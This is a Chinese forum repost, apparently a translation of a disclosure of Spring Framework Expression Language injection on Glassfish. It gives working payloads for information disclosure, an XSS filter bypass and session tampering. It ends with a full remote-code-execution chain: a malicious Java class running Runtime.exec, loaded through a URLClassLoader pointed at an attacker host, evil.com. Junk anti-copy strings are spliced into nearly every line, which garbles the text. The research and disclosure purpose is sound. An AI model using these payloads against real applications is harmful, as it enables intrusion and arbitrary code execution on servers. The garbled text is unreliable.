找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2505|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with6 c" V! b% F8 `+ ~6 m! }) o
Expression Language Injection0 P: T& }6 u# I2 X4 z; M
Spring Framework脆弱性—DanAmodio
6 ]* X* S7 Z0 Y' k9 `6 D, i全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
! Q( B! k% c% j5 k, B8 m可能会存在风险。/ K( z- s% H' r6 o! }  Q; l& K: W  n8 J
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的! A1 W8 K% o0 L3 b! h% y1 T* A% \
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
9 C: x4 E- ?( M' F# o7 D! k1 O以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,4 E* u0 j0 b* q& ~/ I4 a! y& i+ J1 K  \# @% O
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
4 j( s( \0 L- c版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。' U: J8 O- R1 _! S8 W$ A, f) `
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
7 D5 S- a" r; [: v  `  u% R  v我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版; }; T8 g  h* G( p* p' u. C
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。$ J& m5 ~% h$ D) V
这些版本不支持禁用double EL resolution.2 H0 T4 K/ H* J
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
( o  F7 R% u$ IEL2.2容器上可能进行远程代码执行。
% D! B8 @2 g  F. p3 e8 I1 W/ z这是一个原始信息泄露的攻击例子:+ _+ e, T1 t- ]  d2 p! V" c% ?' U6 I
请求:) @) G* C: R: `" [: d2 }9 l6 t% ~/ X
ttp://vulnerable.com/foo?message=${applicationScope}
$ s5 ?/ @* @- {/ @( V0 P$ D到达以下内容页面:
: K* n7 l; _7 O2 p2 K结果将输出一些包含内部服务器信息calsspath 和本地工作目录
8 s1 R( Y$ B) F# a) ]你也可以做一些其他事情,如这样:- }  @. m6 I/ }* N
${9999+1}3 s8 M/ P$ H5 b
还可以访问session 对象和beans1 e7 ?. w9 G0 u7 F, ]1 Q$ [
${employee.lastName}6 W, c  d4 ~+ o+ _0 n9 |* q' }
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是5 ^% U8 |  Q+ ?$ V4 c
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
& }6 b! t+ K: \2 m0 r西,比如XSS.
) w! W+ f& v  t# l* j3 f哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签$ I0 O( h# Y3 ~9 }
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤# o9 v) I: h; h* g1 R
呢?”
# w' p  v# \+ U: F; A+ K因此,我尝试巳缦拢�3 U4 n. u! H% B, n6 O  w! ?$ O' B
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP, r) A2 l  g/ F. ]5 ^, C8 `- |  z
P
$ X9 |0 w+ B! |; E2 F我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
4 p* X% A8 d- r' g; y回的文本被插入进了spring:message 标签。0 S' ^: E- N, X0 H% X
这里是一个最终绕过过滤的实例:% j8 U0 k- W; y& ?1 d/ _
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
0 S9 ?2 }" Y4 [# G它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
3 W) N1 X5 p! }/ v什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
" v2 u4 {4 C  i4 {2 B" x9 y经过一番研究,我学习到EL2.2 增加了方法调用。3 ?2 O- u" m( n/ R
我写了一个快速测试应用程序代码并且检测一些功能
8 c9 E% b& h$ `: E; ]! p${pageContext.request.getSession().setAttribute(“account”,”123456″)}+ b7 f; [" P& k3 r3 |1 c
${pageContext.request.getSession().setAttribute(“admin”,true)}
/ p4 W8 z; f, f. w$ {& D好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的* E0 d; p: k5 Q8 ?. ^  L' J
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
/ O% m5 R2 w. A( g, ~" m& _${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
* B+ s2 u7 n# p- Q“, 1234)}
7 R6 ~, [5 L, H* |) [# p8 ]${“”.getClass().forName(“java.lang.Runtime”)}7 B  M+ j% u  z% \6 s0 \
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
% e& E0 r+ u' P3 S, o1 w8 ^* [可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函; r+ R6 e/ j! X( [3 g  O# L
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
! N9 B2 h! U& H& L) R一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
* `$ d4 ~, E6 V' c/ m- y1 v方法签名invoke(Object obj, Object„ args), W* ]8 h+ {+ S! F  z
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
8 Z8 F3 A; b" b7 i题,以让它可以工作起来。
: @: U, d9 r3 s, j0 Q5 {, q6 {( w2 Z漏洞利用:
% _6 }. h4 z2 Q* K+ k我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
% x/ X" r& \( x2 }+ U; f希望你们中的一些JAVA奇才告诉我我是如此的可笑。0 E+ ~% j2 z$ ~9 `+ v- H* f
这里有一些我试过的失败的用例,为了试图让它工作的用例:3 ~: ~5 I8 X/ U; v3 F0 K6 ^
 写文件到文件系统( _7 @2 W1 _- ~: u, g
 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
* z! a  \; w4 o我认为这些可以很好的工作,但是我不能找到合适的类来载入。
# J( E% \9 V- |& a8 f7 i1 ]${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}9 z5 b' P; z/ ~  J# N( Q" j
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:6 a. R) k# J4 h, W# h$ s
org.springframework.expression.spel.standard.SpelExpressionParser not found
/ ]3 T1 J6 n+ ^: a0 sby
) a0 c  ~5 Q3 c$ N7 F+ Zorg.glassfish.web.javax.servlet.jsp [194].
- ^. f; Z, J$ I2 t. G 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public4 |8 X0 |8 k+ ?8 Y, j7 `
 利用反射来创建一个新的Runtime(and watch the world burn)
7 e/ ^$ v, y- d: x1 \${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
, U( J) u( q, e6 L& O8 k(“java.lang.Runtime”)).getDeclaredConstructors()[0])}5 P! f6 T$ W2 u' F$ J! Z
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
: `) o5 g2 O% ~7 D  l8 f5 o 使用java.lang.ProcessBuilder
* `, D& ?" V* P 用表达式语言来评估表达式语言) J- H! W( ~% O+ r
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.  ~4 s& U% M+ k, d5 _8 t% S7 }  q
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
. N: ]; |. g- j; g. L( W" Y6 Y“,”".getClass(),null)}
/ s# d0 T- l$ ]  } 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂): V( {+ Z1 p2 b5 p, @
我在使用一个空数组通过Method.invoke()时失败了很多次
+ `6 E/ d1 n: I: k& x“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo3 y, N2 P' }1 m& n
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A5 I: U4 ?( g* k+ A! {4 k
rrayList”).newInstance().toArray())
# w( u: x# z  }1 |java.lang.IllegalArgumentException: wrong number of arguments# h" f, P3 w& z1 _0 g
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可3 Y! t* m  W! N# h
以创建一个恶意class文件并且指向类装载器.
# l. L! @6 D5 ~% h+ U! |9 @" x  `) {我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
' z6 z  a( R, q* q1 J% fpublic class Malicious {
) m7 O0 h1 z2 Z& |9 Z" lpublic Malicious() {
8 y  c6 p/ @8 I$ \) utry {
+ Y) }( I" d( y! H$ v9 `java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac/ e/ |" n- M% }
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win" @) T$ b+ X4 [& @3 [8 S& d
} catch (Exception e) {
4 G, X  _' y) x# W! L5 s1 ~7 J}6 ~4 @$ W. _7 X" B; ~  j7 h9 U
}
% t4 T+ e; p9 c& `9 S我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
3 r+ W4 A8 I8 v8 ]1 C% ?: k: w- Z话中,因此它可以被使用.; k3 c, j- Y2 H  t  U7 z) s
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
! }) n9 J4 e  H7 c5 B(“java.util.ArrayList”).newInstance())}
5 G; f7 W  q1 n) ^URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建& x: }0 S) C8 Y3 u6 Y& e' c0 `: x
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和* ^3 Z: f/ Y) K: A' u
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个  b  O0 z6 \! H9 x) `% O4 L$ ~
我们可以调用的create(string)方法,然后转换对一个URL对象。
+ l6 t. O: i$ z% J' r) p${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
& W6 B8 W; G* Uere/malicious/classfile/is/located/”).toURL())}
' w6 Y$ D0 W0 P然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
  M5 G' z) Q- B0 ~3 @( `  E  g恶意类文件被装载并创建,触发远程代码.
, S6 W; K/ {0 r${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte4 R" ^9 R! K% V1 I1 Y0 a
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
5 N; I: w  ~, X' Z! \* c6 k' MgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
. e2 C1 W' M9 s6 ]3 p" E5 X+ _# i()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表